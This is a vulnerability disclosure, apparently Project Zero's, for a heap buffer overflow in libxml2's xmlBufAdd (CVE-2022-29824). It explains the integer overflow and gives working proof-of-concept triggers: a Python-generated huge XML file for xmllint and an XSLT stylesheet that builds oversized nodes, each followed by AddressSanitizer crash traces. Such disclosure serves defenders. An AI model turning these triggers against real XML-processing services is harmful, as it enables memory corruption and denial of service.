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libxml2 xmlBufAdd Heap Buffer Overflow

libxml2 xmlBufAdd Heap Buffer Overflow
Posted Jun 1, 2022
Authored by Google Security Research, Felix Wilhelm

libxml2 is vulnerable to a heap buffer overflow when xmlBufAdd is called on a very large buffer.

tags | exploit, overflow
advisories | CVE-2022-29824
SHA-256 | 2e836bc71a5f639b38695645fac3e6f8cf11af986d63af75240bf0a926a562f1

libxml2 xmlBufAdd Heap Buffer Overflow

Change Mirror Download
libxml2: heap-buffer-overflow in xmlBufAdd

libxml2 is vulnerable to a heap-buffer-overflow when xmlBufAdd is called on a very large buffer:
```
int
xmlBufAdd(xmlBufPtr buf, const xmlChar *str, int len) {
unsigned int needSize;

[..]
needSize = buf->use + len + 2; (A)
if (needSize > buf->size){
[..]
if (!xmlBufResize(buf, needSize)){
xmlBufMemoryError(buf, \"growing buffer\");
return XML_ERR_NO_MEMORY;
}
}

[..]
memmove(&buf->content[buf->use], str, len*sizeof(xmlChar)); (C)
buf->use += len;
buf->content[buf->use] = 0;
[..]
}
```

For large buffers with `buf->use` and `buf->size` close to 2**32, the calculation in *A* can overflow, resulting in a small value for needSize. This will skip the reallocation of the buffer in *B* and can lead to an out-of-bounds write in *C*.

One way to trigger this bug is to call `xmlNodeGetContent` on a node with multiple large child elements. This triggers the overflow when `xmlBufGetNodeContent` iterates through its children to add their content to the buffer.

Exploiting this issue using static XML requires that the `XML_PARSE_HUGE` flag is used to disable hardcoded parser limits. If XSLT is used, large nodes can be created dynamically and `XML_PARSE_HUGE` isn't necessary.

_Note: XML_PARSE_HUGE looks very brittle in general. Signed 32-bit integers are widely used as sizes/offsets throughout the codebase, a lot of the helper functions don't handle inputs larger than 4GB correctly and fuzzers won't trigger these edge cases. Maybe that flag should include a security warning? Some security critical projects like xmlsec enable it by default (https://github.com/lsh123/xmlsec/commit/3786af10953630cd2bb2b57ce31c575f025048a8) which seems risky._

Proof of Concept:
XML only (we use \u2013xpath only to trigger a call to xmlNodeGetContent):
```
$ python3 -c 'print(\"<test>\
\" + (\"\" + \"A\"*(2**30) + \"\
\")*4 + \"</test>\
\")' > /tmp/huge.xml
$ ./xmllint --huge --xpath '/test[string-length() < \"4\"]' /tmp/huge.xml
=================================================================
==93182==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f0087e0780f at pc 0x00000049c682 bp 0x7ffee51cc270 sp 0x7ffee51cba38
WRITE of size 1073741824 at 0x7f0087e0780f thread T0
#0 0x49c681 in __asan_memmove (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x49c681)
#1 0x6ee851 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:908:5
#2 0x595fdc in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#3 0x5964bf in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#4 0x669c37 in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#5 0x669c37 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8933:16
#6 0x68de92 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#7 0x68b15e in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13020:22
#8 0x68a808 in xmlXPathCompOpEvalToBoolean /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13599:6
#9 0x696974 in xmlXPathNodeSetFilter /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:11674:15
#10 0x692b36 in xmlXPathNodeCollectAndTest /usr/local/google/home/fwilhelm/code/libxml2/xpath.c
#11 0x68c6ed in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13115:26
#12 0x68b61f in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#13 0x679516 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#14 0x679b8d in xmlXPathEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14473:5
#15 0x4d6858 in doXPathQuery /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2157:11
#16 0x4d6858 in parseAndPrintFile /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2472:9
#17 0x4d1bd8 in main /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:3817:7
#18 0x7f02a712c7ec in __libc_start_main csu/../csu/libc-start.c:332:16
#19 0x420609 in _start (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x420609)

0x7f0087e0780f is located 0 bytes to the right of 3221225487-byte region [0x7effc7e07800,0x7f0087e0780f)
allocated by thread T0 here:
#0 0x49d0b3 in __interceptor_realloc (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x49d0b3)
#1 0x6eddb3 in xmlBufResize /usr/local/google/home/fwilhelm/code/libxml2/buf.c:829:26
#2 0x6ee7f8 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:902:14
#3 0x595fdc in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#4 0x5964bf in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#5 0x669c37 in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#6 0x669c37 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8933:16
#7 0x68de92 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#8 0x68b15e in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13020:22
#9 0x68a808 in xmlXPathCompOpEvalToBoolean /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13599:6
#10 0x696974 in xmlXPathNodeSetFilter /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:11674:15
#11 0x692b36 in xmlXPathNodeCollectAndTest /usr/local/google/home/fwilhelm/code/libxml2/xpath.c
#12 0x68c6ed in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13115:26
#13 0x68b61f in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#14 0x679516 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#15 0x679b8d in xmlXPathEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14473:5
#16 0x4d6858 in doXPathQuery /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2157:11
#17 0x4d6858 in parseAndPrintFile /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2472:9
#18 0x4d1bd8 in main /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:3817:7
#19 0x7f02a712c7ec in __libc_start_main csu/../csu/libc-start.c:332:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x49c681) in __asan_memmove
Shadow bytes around the buggy address:
0x0fe090fb8eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe090fb8ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe090fb8ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe090fb8ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe090fb8ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe090fb8f00: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==93182==ABORTING
```


XSLT version (no XML_PARSE_HUGE needed)
```
<?xml version=\"1.0\"?>
<test-cases>
<test-case length=\"2048\">A</test-case>
</test-cases>

\u221a fwilhelm2 libxslt % cat poc.xslt
<?xml version=\"1.0\"?>
<xsl:stylesheet version=\"1.0\"
xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"
xmlns:str=\"http://exslt.org/strings\"
xmlns:exsl=\"http://exslt.org/common\"
exclude-result-prefixes=\"str\">

<xsl:output indent=\"yes\"/>

<xsl:template match=\"test-cases\">
<test-results>
<xsl:apply-templates select=\"test-case\"/>
</test-results>
</xsl:template>

<xsl:template match=\"test-case\">
<test-result>
<xsl:variable name=\"padding\">
<xsl:value-of select=\"str:padding(@length)\"/>
</xsl:variable>
<xsl:variable name=\"l1\">
<xsl:value-of select=\"concat($padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding,$padding)\"/>
</xsl:variable>
<xsl:variable name=\"l2\">
<xsl:value-of select=\"concat($l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1,$l1)\"/>
</xsl:variable>
<xsl:variable name=\"l3\">
<xsl:value-of select=\"concat($l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2,$l2)\"/>
</xsl:variable>
<xsl:variable name=\"l4\">
<xsl:value-of select=\"concat($l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3,$l3)\"/>
</xsl:variable>
<xsl:variable name=\"l5\">
<xsl:value-of select=\"concat($l4,$l4,$l4,$l4,$l4,$l4,$l4,$l4)\"/>
</xsl:variable>
<xsl:variable name=\"temp\">
<a><xsl:copy-of select=\"$l5\"/></a>
<a><xsl:copy-of select=\"$l5\"/></a>
<a><xsl:copy-of select=\"$l5\"/></a>
<a><xsl:copy-of select=\"$l5\"/></a>
</xsl:variable>
<foo>
<xsl:value-of select=\"string-length($temp)\"/>
</foo>
</test-result>
</xsl:template>
</xsl:stylesheet>

\u221a fwilhelm2 libxslt % ./xsltproc/xsltproc poc.xslt poc.xml
=================================================================
==244487==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fe4cc4ee80c at pc 0x0000004b37d2 bp 0x7ffd8a145aa0 sp 0x7ffd8a145268
WRITE of size 1073741824 at 0x7fe4cc4ee80c thread T0
#0 0x4b37d1 in __asan_memmove (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b37d1)
#1 0x884dc1 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:908:5
#2 0x6dadae in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#3 0x6dac8a in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5548:7
#4 0x6db62f in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#5 0x7c80fc in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#6 0x7c80fc in xmlXPathCastNodeSetToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5733:12
#7 0x7dc654 in xmlXPathCacheConvertString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:2698:8
#8 0x7decca in xmlXPathStringFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8906:21
#9 0x7df931 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8941:5
#10 0x80c5e9 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#11 0x808653 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#12 0x7ee321 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#13 0x7ece3c in xmlXPathCompiledEvalInternal /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14339:11
#14 0x7eca34 in xmlXPathCompiledEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14385:5
#15 0x588140 in xsltPreCompEval /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:385:11
#16 0x589ba5 in xsltValueOf /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:4541:11
#17 0x578704 in xsltApplySequenceConstructor /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#18 0x5754d0 in xsltApplyXSLTTemplate /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#19 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#20 0x58cbbc in xsltApplyTemplates /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5095:2
#21 0x578704 in xsltApplySequenceConstructor /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#22 0x5754d0 in xsltApplyXSLTTemplate /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#23 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#24 0x57199f in xsltDefaultProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:1997:3
#25 0x570b62 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2129:2
#26 0x593919 in xsltApplyStylesheetInternal /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5987:5
#27 0x4eb14a in xsltProcess /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c
#28 0x4e8cf5 in main /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c:935:6
#29 0x7fe6fc94f7ec in __libc_start_main csu/../csu/libc-start.c:332:16
#30 0x437759 in _start (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x437759)

0x7fe4cc4ee80c is located 0 bytes to the right of 3221225484-byte region [0x7fe40c4ee800,0x7fe4cc4ee80c)
allocated by thread T0 here:
#0 0x4b4203 in __interceptor_realloc (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b4203)
#1 0x8842e0 in xmlBufResize /usr/local/google/home/fwilhelm/code/libxml2/buf.c:829:26
#2 0x884d30 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:902:14
#3 0x6dadae in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#4 0x6dac8a in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5548:7
#5 0x6db62f in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#6 0x7c80fc in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#7 0x7c80fc in xmlXPathCastNodeSetToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5733:12
#8 0x7dc654 in xmlXPathCacheConvertString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:2698:8
#9 0x7decca in xmlXPathStringFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8906:21
#10 0x7df931 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8941:5
#11 0x80c5e9 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#12 0x808653 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#13 0x7ee321 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#14 0x7ece3c in xmlXPathCompiledEvalInternal /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14339:11
#15 0x7eca34 in xmlXPathCompiledEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14385:5
#16 0x588140 in xsltPreCompEval /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:385:11
#17 0x589ba5 in xsltValueOf /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:4541:11
#18 0x578704 in xsltApplySequenceConstructor /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#19 0x5754d0 in xsltApplyXSLTTemplate /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#20 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#21 0x58cbbc in xsltApplyTemplates /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5095:2
#22 0x578704 in xsltApplySequenceConstructor /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#23 0x5754d0 in xsltApplyXSLTTemplate /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#24 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#25 0x57199f in xsltDefaultProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:1997:3
#26 0x570b62 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2129:2
#27 0x593919 in xsltApplyStylesheetInternal /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5987:5
#28 0x4eb14a in xsltProcess /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c
#29 0x4e8cf5 in main /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c:935:6
#30 0x7fe6fc94f7ec in __libc_start_main csu/../csu/libc-start.c:332:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b37d1) in __asan_memmove
Shadow bytes around the buggy address:
0x0ffd19895cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffd19895d00: 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==244487==ABORTING
```

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. **The scheduled deadline is 2022-06-06**.
For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html

Related CVE Numbers: CVE-2022-29824.



Found by: fwilhelm@google.com

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